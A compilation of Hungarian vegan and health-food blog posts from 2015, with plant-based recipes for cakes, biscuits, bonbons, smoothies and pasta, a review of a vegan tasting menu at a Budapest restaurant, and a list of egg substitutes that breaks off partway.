Hihetetlenül gyorsan elkészül és nagy kedvenc lesz. A sárgaborsólisztet szintén a Naturpiac jóvoltából használhattuk. Fanni tízóraira általában 2-3 darabot eltüntet belőle. Hozzávalók: 10 ek. sárgaborsóliszt 1 nagyobb sárgarépa 1 közepes salátacukkini 1 fej újhagyma 1/2 tv paprika 1 gerezd fokhagyma 1/2 csokor petrezselyem só - ízlés szerint víz- amennyit felvesz -- 2-3 ek. kókuszzsír a sütéshez Elkészítés: A zöldségeket hámozás után lereszeljük. A felvágott petrezselymet hozzáadjuk, majd ízesítjük sóval, fokhagymával. Hozzáadjuk a sárgaborsólisztet, és lassan adagolva a vizet sűrű tócsnitésztát keverünk belőle. Kókuszzsíros serpenyőben kb. 8-10 perc alatt kisütjük. Forgassuk meg időközben :-) A sárgaborsó liszt nagyon hasznos táplálékunk. Mivel gyorsan (5-7 perc alatt) átsül, így a sárgaborsóban lévő értékes vitaminok, ásványi anyagok benne maradnak.
Eperkrémes torta (részben nyers)
Gyors, finom, epres. Sütni sem kell, csak turmixolni és keverni. Remek lehetőség, ha kevés időnk van, míg vendégek érkeznek, vagy vendégségbe indulunk. De ha csak valami finom, epres, egészséges édességre vágyunk, ami nem sok időt igényel, akkor ezt érdemes kipróbálni. Az útifűmaghéj, amitől zselés állagú lesz az eperlé, nagyon hasznos a bélrendszerünknek is. Egyfajta béltisztító hatása van. Az eper pedig B2-, B5-, B6-, C-vitaminban, magnéziumban, foszforban, káliumban és kalciumban gazdag gyümölcs, amelynek jelentős antioxidáns tartalma is van. Cukorbetegek számára is hasznos, mivel fogyasztását követően vércukor-csökkentő reakció megy végbe a szervezetünkben. Az eper különben a franciáknak köszönhetően terjedt el Európában. 1714-ben Chilében és Peruban talált rá egy francia mérnök, aki mintát hozva, elültette, s ezzel megkezdődött az európai termesztése.
A torta-alap receptje:
Hozzávalók:
25 dkg darált zabpehely
10 dkg kókuszreszelék
víz
2 érett banán vagy néhány szem felaprított, meleg vízben áztatott datolya
Elkészítés:
A zabpelyhet és a kókuszreszeléket egy tálban összekeverjük, villával szétnyomkodott banánt vagy felaprított, meleg vízben megpuhult datolyát keverünk hozzá, és annyi vizet öntünk rá, hogy az egészből egy nagy gömböcöt, egy golyót tudjunk gyúrni. Frissen tartó fóliával egy tortaformát kibélelünk (a fólia nagyobb legyen, mint a forma, a magasabb peremét is érje) és a zabpelyhes alapot beleformázzuk. Jól belenyomkodjuk. Az alábbi eperkrémet elkenjük rajta, majd ötletünk szerint dekoráljuk. Ahogy a képen is látható, csokis szósz került a tetejére. (Eperrel már nem tudtam díszíteni.)
Az eperkrém receptje:
Hozzávalók:
- 1 nagy bögrényi (min. 4 dl) nagyon érett eper vagy szamóca (fagyasztott is lehet)
- meleg vízben áztatott datolya (kb 1/3 bögrényi)
- max. 1 dl víz
- útifűmaghéj
Elkészítés:
Vegyük elő a turmixgépet (vagy egy erős aprítógépet) és a fentieket az útifűmaghéj kivételével tegyük bele. Indítsuk el, és ha az eperből kész a sűrű eperlé, eperszósz, akkor kb 3-4 evőkanálnyi útifűmaghéjjal is turmixoljuk össze. Hagyjuk állni, kb. negyed óra múlva kenhető állagú krém lesz belőle. Ha nem elég szilárd ahhoz, hogy kenni tudjuk, még némi útifűmaghéjat keverjünk hozzá. A kész krémet egyszerűen elkenjük a zabpehelyből készült tésztán. Hűtőben tároljuk tálalásig. Tálalás előtt a fóliával kiemeljük a formából, lehúzzuk alóla a fóliát, és elképzelésünk/időnk szerint díszítjük. Nagyon kiadós torta olyan értelemben, hogy nem sokat bír az ember belőle enni még akkor sem, ha édességfüggő.u
Kókuszzsírt (folyékony állagú) egy kevés nyírfacukorral, karobbal és kevés kakaóval kikevert "csokiszósz"-t folyattam a tetejére. Erre volt időm, mielőtt elindultunk volna a vendégségbe, ahova magunkkal vittük ezt az egészséges finomságot.
Spárgás Alfredo Penne
2015. május 20. Gréta konyhája
Már megint a spárga, mert imádom a zöldspárgát, és mert szezonja van, mert tisztít, szépít, és méregtelenít. Meg persze nagyon nagyon finom! Az Alfredo szószos tészta, egy nemzetközileg közkedvelt étel, amit készíthetünk spagettivel, pennével, vagy linguine-vel is. Az eredeti szósz egy nagyon egyszerű és szerintem egészségtelenül zsíros, bár kétségtelenül nagyon finom alapanyagokból álló, pofonegyszerű alkotás. Kell hozzá nagy vonalakban, vaj, zsíros tejszín, és parmezán. Na, én most ezt mind kihagytam! :) Az én verzióm íze spárgás, fűszeres, krémes, lágy, selymes, és hamisítatlanul alfrédós lett :)) -1 csomag zöldspárga, mosva, fás vége levágva, 2-3 cm-es darabokra vágva. - 3-4 dl kedvenc növényi tejszín - 4 gerezd fokhagyma préselve - 1 csokor újhagyma felkarikázva - só, bors, pici szerecsendió - 1 ek inaktív élesztőpehely - 120g gluténmentes penne/ fő Mialatt a tészta fő, a hagymát kevés kókuszolajon megpárolom, hozzáadom a darabolt zöldspárgát, sózom, borsozom, pár percig pirítom, majd hozzáadom a növényi tejszínt, a fokhagymát, és az élesztőpelyhet is. Öt percig forralom, és ráöntöm a kifőtt, gőzölgő tésztára. Még megszórhatjuk friss, aprított petrezselyemmel, és reszelt növényi sajttal is. Nem zsíros, könnyű, mégis krémes, friss, és nem utolsó sorban szezonális. Jó étvágyat!
Győri édes, avagy vaníliás keksz csokidarabokkal
A gyerekeim egyfolytában kekszet ropogtatnának, sajnos a rosszabbik fajtából. Nos, olyan kekszet sikerült sütnöm, mely kellően ropogós, édes és egészséges is. Hozzávalók: - 25 dkg teljes kiőrlésű tönkölyliszt - 10 dkg fehér tönkölyliszt vagy BL80-as liszt - 10 dkg darált dió - 15 dkg kókuszvirágcukor - 1 csomag sütőpor - 1 kávéskanál vaníliapor - 10 dkg bio vagy házi vaj - 10 dkg kókuszzsír - 60-70 ml növényi tej - fél tábla étcsoki - 4-5 csepp narancsolaj - csipet só - Tetejére: nyers csoki Elkészítése: - Kimérem a lisztet, hozzáadom a többi száraz hozzávalót is. Szétmorzsolom benne a kókuszzsírt és a vajat, majd apránként adagolom hozzá a tejet. - Könnyen gyúrható, puha tészta legyen. Beteszem a hűtőbe úgy 1 órára. - Előmelegítem a sütőt 180 fokra. - A tésztát 2-3 mm vastagra kinyújtom, és kiszaggatom. 180 fokon, 10-12 perc alatt kisütöm. - Hagyom kihűlni, majd a tetejét megcsorgatom csokival.
Epres parfé bonbon
Eperszezonban, hirtelen jött melegben valami isteni, hűs és könnyű édességre vágysz? Akkor van egy ajánlatom: ez a különlegesen finom bonbon rengeteg gyümölccsel, amibe mintha csak beleköltözött volna egy kis parfé, és talán még egy kicsi túró rudi is. Az alábbi receptünket a Veganinja magazin májusi száma is lehozta, sőt, még a címlapra is kikerült. Lássuk hát:
Hozzávalók:
- 150 ml tej (én szójatejet használtam)
- 1 5 g rizs
- 130 g eper
- 100 ml kókuszolaj
- 1 csipet só
- 1 evőkanál citromlé
- 1 evőkanál nádcukor (vagy ennek megfelelő édesítő)
- fél mokkáskanál vanília őrlemény (vagy vaníliás cukor)
- 50 g étcsokoládé
- 2 tk repceolaj (bármilyen étolaj jó, de ennek teljesen minimális az íze, ami jót tesz a csokinak)
- A tejben tedd fel főni a rizst. Tegyél bele egy csipet sót, illetve ízlés szerint édesítsd. A rizs akkor lesz jó, ha kicsit túlfő, és krémes állagú tejberizst kaptál. Ez kb. 20 perc alatt előáll, addig pedig el tudod készíteni a bonbon többi részét.
- A rizs fölött olvaszd fel a kókuszolajat, és tedd félre. Ezután ugyanígy olvaszd fel a csokoládét is, amibe már az elejétől beletetted a repceolajat. Hirtelen lesz folyós a csoki, akkor gyorsan keverd el benne az olajat.
- Közben egy botmixerrel pürésítsd az epret, add hozzá a vaníliát és a citromlevet. A kissé kihűlt tejberizst is ebbe töltsd bele, és turmixold össze. Végül pedig vegyítsd hozzá a kókuszolajat.
- Vedd elő a formákat. Használhatsz szilikon sütiformákat, de ha ez nincs, a jégkockatartó is megteszi. Önts a rekeszekbe egy kis csokit, folyasd körbe, és tedd be a mélyhűtőbe pár percre, hogy megdermedjen.
- Ezután öntsd rá az epres krémet, és tedd be a hűtőbe pár órára.
Megjegyzés: a hozzávalókból kb. 250 ml bonbon jön ki, úgy tervezzünk a formák használatával.
Elkészítési idő: kb. 30 perc Jó étvágyat!
Tetszett ez a recept? Akkor érdekelhet a legjobb leveseinket tartalmazó új receptgyűjteményünk. Kíváncsi vagy, mi van benne? Nézd meg róla ezt a rövid VIDEÓT. Bővebb infót is találsz róla ITT.
Iratkozz fel a Hírlevélre, és mellé töltsd le ITT két ajándék receptfüzetünket! Szupergyors Édességek és Szupergyors Vacsorák receptfüzet
Vaníliás kölespuding eperdarabokkal
Újabb egyszerű finomságot készítettem, ugyanis a lányok mindig nagyon éhesek, amikor hazajönnek. Szerencsére már érik az eper a kertben, úgyhogy a következő hetekben nem lesz hiány belőlük. Hozzávalók: - 3,5 csésze rizstej - 1/2 csésze kókuszreszelék - 1 csésze köles - 1-2 evőkanál kókuszvirágcukor - 1 kávéskanál vaníliapor - csipet himalája só - 3-4 csepp narancsolaj - 1 csésze eper - csokireszelék Elkészítése: - A tejet feltesszük főni, majd hozzáöntjük a kávédarálón megdarált kókuszreszeléket. - A só és a vaníliapor is mehet hozzá, majd a szintén megdarált köles is. - Úgy 10 perc alatt sűrűre főzzük. - Az eper felét villával megtörjük, a többit pedig felkockázzuk. - A pudingot levesszük a tűzről, majd hozzákeverjük az epret és a narancsolajat. - A tetejét szórjuk meg eperrel és csokireszelékkel.
Mentás Eper smoothie
Ha május akkor eper minden mennyiségben. Kettő az egyben, mert nemcsak az epret szeretem, hanem a különböző turmixokat, smoothiekat. Ideálisak több szempontból, ugyanis indíthatjuk velük a reggelt. A friss gyümölcsök nemcsak vitaminokat, hanem sok vizet és gyümölcscukrot is tartalmaznak, amelyet délelőtt könnyen lebont a szervezet és kellő energiát ad. Továbbá kiválthatjuk velük a szénhidrátdús édességeket, ha hidegen készítjük akár a fagylalt utáni sóvárgásunk is csökkenthetjük. Telítenek, sok rostot tartalmaznak, beilleszthetőek bármelyik fogyókúrába, diétába. A kulcs az összetevőkben rejlik.
Az eper alapvetően egy alacsony cukortartalmú gyümölcs. Arra figyeljünk, hogy a gyümölcsöket ne keverjük állati tejtermékkel, mert a gyümölcsök önmagukban is képesek erjedni, a magas fehérjetartalmú tehéntejjel, pedig inkább nem részletezem, hogy mi lesz a bélrendszerünkben. Válasszunk növényi tejeket: mandula, kókusz,-rizstejet akár. Édesíthetjük kevés mézzel, steviával, kókuszcukorral, eritrittel. Erjedésgátló fűszerről sem feledkezzünk meg: fahéj, gyömbér vagy bourbon vanília. Még egy szabály amely a gyümölcsétkezéshez tartozik: maximum kétféle gyümölcsöt mixeljünk!
Semmi másra nincs már szükségünk csak egy konyhai turmixgépre, vagy botmixerre.
Hozzávalók:
1 marék friss eper/fő
2 dl rizstej, vagy mandulatej/fő
1 evőkanál kókuszcukor/fő
pár csepp friss citromlé
késhegyni őrölt bourbon vanília
pár levél friss menta
3-4 db jégkocka
Az összetevőket összeturmixoljuk. Praktikus és ideális ha csavaros üvegbe öntjük, így könnyedén magunkkal is vihetjük. A citromlé és a jég gondoskodik, hogy tovább friss maradjon az italunk a nyári melegben.
Nyers limetorta
Az itt megadott mennyiségek egy 22cm-es (8-10 szeletes) tortához elegendőek!
Hozzávalók az alaphoz:
200g apróra darált dió
1ek holland kakaó
50g darált lenmag
1csésze friss datolya, kimagozva
A krémhez:
4 lime leve
4ek kókuszolaj
1ek útifűmaghéj liszt
3db közepes, érett avokádó
2db érett (barna pöttyös héjú) banán
fél csésze friss datolya, kimagozva
A fedőréteghez:
1dl víz
1,5dl kókuszolaj
fél csésze friss datolya, kimagozva
1kk őrölt szegfűbors
A nyers limetorta elkészítése:
Az alap minden összetevőjét egy tálba tesszük, és kézzel jól összedolgozzuk. Ha ez megvan, akkor a tortaforma alján, egyenletesen szétterítjük
A krém összetevőit, az útifűmagháj liszt kivételével turmixgépben homogénre turmixoljuk, majd egy tálba öntjük, és belekeverjük az útifűmaghéj lisztet is. Jól elkeverjük, majd beleöntjük a tortaformánkba és egyenletesen elterítjük.
A fedőréteg alapanyagait is turmixgépbe dobjuk, és összeturmixoljuk. Ha készen van, akkor a torta tetejére öntjük, kedvünk szerint díszítjük és hűtőbe rakjuk, minimum 2-3 órára.
Áldott étkezést!
Kakuk Bálint
Nyers, nyersvegán, nyers recept, nyers torta, nyers vegán, recept, vegan, vegán, vegán recept, cukormentes, laktózmentes, gluténmentes.
Epres banánfagyi
Hozzávalók 2 személy részére: 5 db banán 30 dkg eper kb. 1 marék blansírozott mandula 1-1,5 dl növényi tej (legjobb a kókusztej, ha nincs, jó a víz is) A banánokat felkarikázom és berakom zacskóban a mélyhűtőbe kb. egy fél napra (de lehet benn tovább is), majd előveszem, kicsit szétszedem és belerakom a turmixgépbe az eperrel és a mandulával együtt. Esetleg a mandulát előre le lehet darálni kávé vagy magdarálóval, hogy még homogénebb legyen a fagyi állaga. Majd annyi növényi tejet adagolok hozzá, hogy krémesre el tudja darálni a turmixgép.
Datolya kabátban, illetve lekváros bukta
Az első változat hirtelen ötletből készült, és maradék tésztából. A Fiatalember miatt, aki aztán megeszi külön a datolyát, külön a tésztát. Egyben való fogyasztásával ne riogassam. :) Most egy kicsit változtattam a tésztán. Bukta készült, de a hagyományos tésztába némi olajos mag is került. Nem sok, de éppen arra jó, hogy hozza a kellemes aromát. A hozzávalók kb. 12 kisebb buktához, és egy tepsi datolyás kiscsigához elegendők. Hozzávalók: 60 dkg liszt (kb. 30 dkg tk, 30 dkg fehér) 20 dkg kókuszzsír 10 dkg dió 10 dkg gyümölcscukor / eritrit / nyírfacukor kb. 300 ml növényi tej 1/2 tk só 2 dkg élesztő szilvalekvár / magozott datolya A száraz hozzávalókat összekeverjük, majd a kókuszzsírt beledolgozzuk. 1 dl cukros tejben felfuttatjuk az élesztőt, majd beleöntjük a tésztába és gyúrni kezdjük. Folyamatosan adagoljuk a tésztához a folyadékot attól függően, hogy a liszt mennyit vesz fel. A teljes őrlésű lisztek mindig többet. Kissé lágy, de rugalmas tésztát kell kapjunk. a) A buktákhoz kb. félujjnyi vastagra nyújtjuk a tésztát, ráhalmozzuk a lekvárt, formázzuk, a széleket aláhajtjuk. b) A datolyás kiscsigához a tésztát vékonyra nyújtjuk. Ha szeretjük a nagyon édeset,tehetünk bele egész datolyákat, de számomra az túl tömény volt, így feleztem. A datolya hosszának megfelelően vékony csíkokat vágunk a tésztából (kb. 3-4 cm) és a szélétől elkezdjük a datolyát beletekerni. Másfél, két fordulat után elvágjuk tepsibe vele, jöhet a következő... Ha ferdén vágjuk kicsit a tésztát, mutatósabb csigákat kapunk. Bő fél órát kelesztjük. (A csiga a hűtőben pihent egy órát, míg a bukta sült, bírja.) Közepes hőfokon 25-30 perc alatt sütjük.
Aszalt szilvás kókuszkocka
Új ízekre vágyom, így megint kísérletezős kedvemben vagyok ;) Hozzávalók az alaphoz: 1 csészényi áztatott dió 1 csészényi áztatott tökmag 1 csészényi szilva 1 ek méz 1 leheletnyi só Kókuszkrém: 2 csészényi darált kókuszreszelék 1 csészényi darált zabpehely 1 csészényi áztatott szotyi 2 dl forrásvíz 1 ek vanília kivonat 1 ek olvasztott kókuszolaj 3 ek […]
Végre! Vegán fine dining menüsor először Magyarországon a Babel Budapestben!
2015. április 22. Zizi kalandjai
Fotókredit: Babel
Amikor emailben megkaptam a meghívót az ország első, vegán fine dining étlapjának a bemutatójára, a Babel Budapest étterembe, felugrottam az asztaltól és elkezdtem örömtáncot járni! Csoda történt… gondoltam! Nem is vegetáriánus, hanem vegán menüsort kínálnak a főváros egyik legjobb éttermében. Végre eljutottunk arra a szintre, hogy valaki bevállalja a vegán, ízben, textúrában és színben gazdag konyhájának a bemutatását.
Igen, a Babel csapatának sikerül bebizonyítania, hogy tisztán növényi alapanyagokból, hústól, tejterméktől, tojástól és gluténtól mentesen is lehetnek az ételek változatosak és varázslatosan finomak. Hlatky-Schlichter Hubert, a Babel, a KIOSK és a Terasz tulajdonosa a vacsora folyamán elmondta, hogy ,,… a Babelben, csak úgy, mint a KIOSK-ban fontos számunkra, hogy egy igazi nagyváros sokszínű, urbánus igényeit folyamatosan szem előtt tartsuk-, így például a vegetáriánusokra, laktóz- és glutén érzékenyekre, cukorbetegséggel küzdőkre illetve egyéb ételérzékenységgel küzdőkre is gondolunk. Fontos, hogy olyan újdonságokkal szolgáljunk, melyek a törzsvendégeink és az újonnan hozzánk érkezők számára is érdekesek lehetnek. A minőségi vendéglátás a legfontosabb, bátrak és úttörők vagyunk és előremutató látásmódra törekszünk. A nemzetközi trendeket megfigyelve hazai értékeket teremtünk a gasztronómiában. A megújuló szezonális étlap mellett a vegán menüsorral most újabb szakmai kihívások elé nézünk. Célunk, hogy egy teljes értékű, és profi gasztronómiai élményt teremtsünk a vegán konyha rajongóinak, de biztos vagyok benne hogy húskedvelő vendégeknek is nagy élmény a most debütáló extra vegán étlap.
Fotókredit: Babel
Izgatottan érkeztem a vacsorára és a finom ételeken kívül az est fénypontját emelte, hogy az ültetésnek köszönhetően fantasztikus asztaltársakra leltem.
Íme az ízekben gazdag bolygóra repítő menüsor, amelynek különlegessége, hogy a megszokott borpárosítás helyett az ételekkel harmonizáló juice-kat szolgálnak fel:
Málnás paradicsom esszencia
Emlékeztem rá, hogy a tavalyi Gourmet Fesztiválon már kóstoltuk és készek voltunk tőle. A paradicsom íz dominál, de a belepottyantott málnaszem és a mentalevél izgalmassá és frissítővé teszi az esszenciát.
Uborkahab
Könnyed, enyhén sós, igazán beindítja az ízlelőbimbókat.
Gin & Tonic Granita
Jó lezárása az üdvözlő falatoknak. Hűsít és édes, felkészít a nagyobb fogásokra.
Fotókredit: Babel
Quinoa saláta pácolt zöldségekkel – spárga, édeskömény, grapefruit juice
Pont quinoát ebédeltünk ezen a napon, de mivel imádom, így nem volt gond ennek a csodaszép, színes, szemet gyönyörködtető fogásnak az elfogyasztása. A quinoára pakolt zöldségek nyersek, de a pácnak köszönhetően nem érezzük azt, hogy nyuszik vagyunk és nyers zöldségeket ropogtatunk már egy ideje. Ez is a könnyed, vidám, fantáziadús kategóriába tartozik, amelyet kiemel a spárga, édeskömény és grapefruit juice. Eddig nem jutott eszembe, hogy spárgát dobjak a zöldség- és gyümölcscentrifugánkba, de ha a spárga ára kedvezőbb lesz biztosan ki fogom próbálni én is… mondjuk eperrel párosítva.
Citrusos karalábékrémleves – kápia és málna juice
Megfelelően savanykás, hihetetlenül krémes leves, olyan az állaga és az íze is, mintha tejszínnel lenne selymessé varázsolva, pedig nem. Uborkával megfestett és ízesített tápiókával, sáfránnyal és sós kesudióval van tálalva. Finoman érződik a karalábé íze is, amelyet a kápia és málna juice még inkább kiemel.
Fotókredit: Babel
Zelleres ravioli petrezselyemmel és kávés endíviával – eper és rebarbara juice
Gluténmentes, rizslisztból készült zellerkrémmel töltött ravioli és még sok-sok finomság a tányéron: tempurált ropogós zöldségek – karfiol és spárga, előbukkant cukkini is, valamint a kávés endívia, mindezek krémes petrezselyem “ágyon” tálalva. Sok-sok íz keveréke, amelyek jól megférnek egymás mellett. Számomra egyedül a kávé íze volt szokatlan, de mire a végére értem, egészen megszoktam a kávé endívia párosát. Persze az eper és rebarbara juice megint bebizonyította, hogy milyen jó, ha ezt a két gyümölcsöt összeeresztjük. Nagyon jól kiegészítették a sós, kávés ízvilágot.
Fotókredit: Babel
Görögdinnye sorbet angolzellerrel
Ez már az a fogás volt, amikor úgy éreztem, hogy a vacsora éppen véget is érhetne, mert jól laktam. Frissítő, könnyed görögdinnye sorbet, számomra szokatlan ízkombinációban az angolzellerrel. Szokatlan, de hihetetlenül finom a kettő együtt. Próbáljátok majd ki a nyáron… egyetek görögdinnyét és rágcsáljatok mellé szárzellert.
Fotókredit: Babel
Tökfőzelék hamis fasírttal – kiwi és petrezselyem juice
Gondoltam, hogy nem a hagyományos tökfőzelékre kell gondolni, hanem valami újított verzióra… és így is lett. Külön kis tálkában kaptuk a nagyon finom, savanykás, krémes állagú főzeléket, a nagy tányéron pedig friss tökforgácsokkal, cukkinivel, kevés kaporral tálalva a hamis fasírtot, ami adzuki babból készült és a hagyományos magyaros paprikás hagymás fasírtra emlékeztető ízével jól passzolt nagyon a főzelékhez. A juice-ból a kiwi íze az erőteljesebb, de finoman érezhető a petrezselyem is.
Mandulás kókuszfagylalt aszalt gyümölcsökkel – kókuszvíz és chia mag
Amikor már azt hittem, hogy tényleg nem fér több belém, akkor szolgálták fel a desszertet. Enyhén roppanós mandulás burok, benne az éppen édes kókuszfagylalt szárított mangóval és eperrel, valamint friss gyümölcsökkel (eper és áfonya). A kókuszfagylalthoz jól passzolt a kókuszvíz, a benne lévő chia mag különösebb élményt csak látványban nyújtott.
***
Fantasztikusat alkotott a Babel csapata, professzionális munkát végeztek; külön hála és köszönet Lőrincz Györgynek, a séfnek, aki elmondása szerint a francia konyhán (vaj, tejszín) nőtt fel, tehát igazi kihívás volt számára ezt a vegán, gluténmentes menüt összerakni ilyen kreatívan. Remélem ezzel a menüsorral egy sorozat indul el és egyre több magyarországi étteremben fog egyre több vegetáriánus és vegán étel (esetleg teljes menüsorok) megjelenni az étlapokon. Hajrá!
A teljes menüsor ára 19 500 Ft/fő + 3500 Ft juice párosítás és május 5-től lesz elérhető. Nem olcsó, de különleges alkalomra (születésnap, évforduló) spórolva érdemes kipróbálni. Vegetáriánusoknak, vegánoknak kötelező, húsevőknek erősen ajánlott!
Babel Budapest
1052 Budapest
Piarista köz 2.
Weboldal
Facebook
Bounty szelet (vegán)
2015. április 20. Mindennapi ételeink
Higgyétek el, nemcsak süteményeket eszünk, de holnap különleges nap lesz, mert férjem születésnapját ünnepeljük, már másodjára, hármasban. Így Fannival ma sütöttünk neki egy nagyon gyors, egyszerű és finom tortát. :-) (Tavaly Fannitól az első fogacsáját kapta ajándékba aznap, másnap a másodikat...most is fogáttörést várunk, a 16. van soron, jó lenne ez a bejáratott ajándék:-). Hozzávalók: A tésztához: 40 dkg liszt 5 dkg zabpehelyliszt 10 dkg kókuszzsír 15 dkg gyümölcscukor 3 ek. karobpor 3-4 ek. víz A krémhez: 4,5 dl kókusztej 15 dkg kókuszzsír 7,5 ek. búzadara 20 dkg kókuszreszelék 10 dkg gyümölcscukor A tetejére: avokádós "csokikrém": (1 avokádó, 1 banán, 3 kanál méz, 3 ek. karob, 1 ek. kókuszzsír, késhegynyi vaníliapor, késhegynyi fahéj--mindez összeturmixolva) de most bevallom, vettem egy jó minőségű étcsokit, és azt olvasztottam rá. :-) Nem is lett szép a fotó.... Elkészítés: A tésztához az alapanyagokat összedolgozzuk. Lágy, de nyújtható tésztát kell, hogy kapjunk.Három fele szedjük, kinyújtjuk és olajozott, lisztezett tepsiben (normál tortaforma) 180 fokon 15-15 perc alatt az összes lapot kisütjük. Miközben sül, elkészítjük a tölteléket: egy edénybe öntjük a növényi tejet, belekeverjük a gyümölcscukrot, a kókuszolajat, és amikor forr, akkor hozzáadjuk a búzadarát. Alaposan kevergetjük, majd amikor félpuhára főtt, adjuk hozzá a kókuszreszeléket. Ezzel főzzük teljesen puhára a grízt. A tölteléket és a lapokat is kihűtjük, majd a tölteléket kétfele szedve megkenjük a lapokat. A tetejére összekeverjük a tahinit, kókuszzsírt és a karobport. Ráöntjük és megvárjuk, hogy megkeményedjen.
Sárgabarack-lekváros almás pite mazsolával és dióval
2015. április 20. Éltető ételek
Újabb pite... szeretem ezeket az egyszerű ételeket. A nagylányom csak annyit mondott: FINOM. Ennél több nem is kell... Mindent bele módszert alkalmaztam, persze csak olyanok kerültek bele, amik az almával párosíthatók. Hozzávalók: - 18 dkg teljes kiőrlésű tönkölyliszt - 7 dkg BL80-as kenyér liszt (vagy szitáld át a tönkölylisztet) - 1 kávéskanál szódabikarbóna - 1/2 kávéskanál vaníliapor - 8 dkg bio vaj - 10 dkg méz vagy juharszirup - csipet só - növényi tej - én házi mandulatejet használtam -, amennyitől összeáll a tészta Töltelék: - 2 szép nagy alma - 1 marék mazsola - 2 marék dió - 2-3 evőkanál házi, cukrozatlan baracklekvár - 1 kávéskanál fahéj - 1-2 evőkanál méz vagy juharszirup - kevéske kókuszolaj Elkészítése: A lisztbe keverjük el a porokat (szódabikarbóna, fahéj, vaníliapor, só).Morzsoljuk bele a hideg vajat, majd gyúrjuk hozzá a mézet.Annyi tejet adjunk hozzá, hogy összeálljon a tészta.Tegyük be a hűtőbe. Én jól elfelejtkeztem róla, mert közben mást is sütöttem, így két napig ez a hűtőben csücsült.Vegyük ki a hűtőből. Egy kicsit várni kell vele, mert nagyon kemény, képtelenség vele dolgozni. Amikor kissé felmelegedett, az 1/3-át tegyük félre.A tészta 2/3-át nyújtsuk ki, és tegyük bele a piteformába.Ezt előmelegített sütőben úgy 5 percig süssük meg.Közben készítsük el a tölteléket.Az almát mossuk meg, vágjuk 4 fele, és szeleteljük fel.Egy serpenyőbe tegyük a kókuszolajat, és dobjuk rá az almákat és a mazsolát is.Pároljuk meg egy kissé, mehet hozzá a fahéj és 1 marék durvára tört dió.Úgy 5 perc után csorgassuk meg mézzel és keverjük hozzá a baracklekvárt is.Ezt a tölteléket tegyük az elősütött tésztára.A megmaradt tésztát nyújtsuk ki, és készítsünk a tészta tetejére rácsokat.Kenjük meg baracklekvárral és szórjuk meg a maradék durvára tört dióval.Kb. 20 perc alatt szépen megsül.
Kesudiós energiaszelet
2015. április 15. Gréta konyhája
(tej-, tojás-, cukor-, és gluténmentes, és még sütni sem kell.)
Ma különleges nap van. A tavasz első napja, és nekem hosszú idő óta először nem kell dolgoznom szombaton. Még az ágyból írok, kezemben fél liter zölturmix-szal, amit a férjem hozott ágyba nekem, mikor kinyitottam a szemem. Minden okom megvan az ünneplésre. Haha.
Ami azt jelenti, hogy igyekszem mindenkinek válaszolni, nem főzök, és nemsokára felveszem a bikinimet, és családostól elmegyünk valahová úszni, majd sétálni, enni, sokáig fennmaradunk, és vidám filmeket nézünk.
Nem fogok főzni. Ami nem azt jelenti, hogy nem alkotok.
Amikor egész nap úton vagyunk, rendszerint viszünk magunkkal gyümölcsöt, vagy turmixokat, energiaszeleteket, aszalványokat, vagy magvakat. És itt vagyok általában bajban. Nincs olyan forgalomban kapható energiaszelet, amiben semmi sincs, amit enni tudok. Szóval mindenmentes, mégsem levegő, nincs benne cukor, glutén, kakaó, és még a kezembe is tudom venni, ja, és még ehető is.
Ezért ma, mielőtt útnak indulunk, készítek egy nagyszerű energiamasszát, ami vágható lesz, mire a fiúk megjönnek a délelőtti edzésről. Még jó, hogy csak 5 perc elkészíteni.
Hozzávalók:
6 ek organikus mogyoróvaj
3 ek olvasztott nyers(hidegen sajtolt) kókuszolaj
3 ek juharszirup (vagy agavé, rizsszirup, vagy pár csepp stévia)
2 ek karob por
1 tk bourbon vanília esszencia
csipet tiszta só
fél bögre kesudió
A kesudiót egy lezárható műanyag zacskóba teszem, és jól elkalapálom, így nem repül szerteszét smile hangulatjel
A többi hozzávalót alaposan összekeverem egy tálban, majd beleforgatom a kesutörmeléket a legvégén. Egy sütőpapírral kibélelt kisebb üvegtálba, vagy tepsibe öntöm, kanalazom, egyengetem, majd 1-2 órára hűtőbe teszem.
Kiveszem, és szeletekre vágom.
(mandulával, vagy bármilyen maggal is tökéletes)
Jó étvágyat!
Tojás helyettesítők
2015. április 15. Zizi kalandjai
Ez a bejegyzés már elég régóta a fejemben volt, most végre összegyűjtöttem az ismereteimet, böngésztem az internetet új információk után, mert a listán szerepelnek olyanok, amelyeket még én sem próbáltam. A tojás helyettesítésére szükségünk lehet, ha kizárjuk az étrendünkből a tojást (vegán életmód) vagy mert allergiásak vagyunk rá.
A tojás elsősorban kötőanyagként vagy “élesztőként” szolgál a főzés és sütés során. A kötőanyag összetartja az ételt, süteményt; az “élesztő” pedig segít megemelni. Vannak olyan ételek, sütemények, amelyekben szerintem nem lehet kiváltani a tojást, de minél gyakorlottabbak vagyunk a tojásmentes étkezésben, annál több sikert tudunk elérni újabb és újabb receptek kipróbálásakor vagy megalkotásakor. A tojás leginkább süteményekben – muffin, torta, keksz – váltható ki, bár rántotta is készíthető tojás nélkül, tofuból. Előfordulhat, hogy a helyettesítők közül egyszerre többet is használunk egy receptben… biztos, ami biztos.
Lássuk a listát, mivel lehet helyettesíteni a tojást…
1. Chia mag – 1 evőkanál chia mag + 3 evőkanál víz = 1 tojás
Egy tálkában keverjük össze a chia magot a vízzel és hagyjuk állni kb. 10 percig, amíg teljesen zselés állagú lesz. Ezután adjuk hozzá az ételhez. Én többnyire sütemények készítésekor szoktam használni (mandulás banánkenyér), de “összeragaszthatunk” vele fasírtot is (lencse-dió burger, karfiolos quinoa fasírt, savanyú káposztás kölesfasírt).
2. Darált lenmag – 1 evőkanál lenmag + 3 evőkanál víz = 1 tojás
Ez nagyjából ugyanúgy működik, mint a chia mag. Összekeverjük a lenmagot a vízzel és megvárjuk, amíg zselés állagú lesz. Íme néhány példa a használatára: sütőtökös áfonyás diós muffin, kókuszos répa muffin, mandulás földimogyorós keksz, földimogyoróvajas banánkenyér.
3. Érett banán – 1 banán = 1 tojás
A banánt hámozzuk meg és törjük villával pépesre, így adjuk a süteményhez. Egyes helyeken csak fél banánt használnak egy tojás helyettesítésére, de én mindig egy teljes banánt használok. Nagyon jó kötőanyagként szolgál és nedvesen tartja a sütemény tésztáját. Néhány példa: banános mandulavajas gofri, csokoládés keksz.
4. Almaszósz – kb. 1/4 bögre almaszósz = 1 tojás
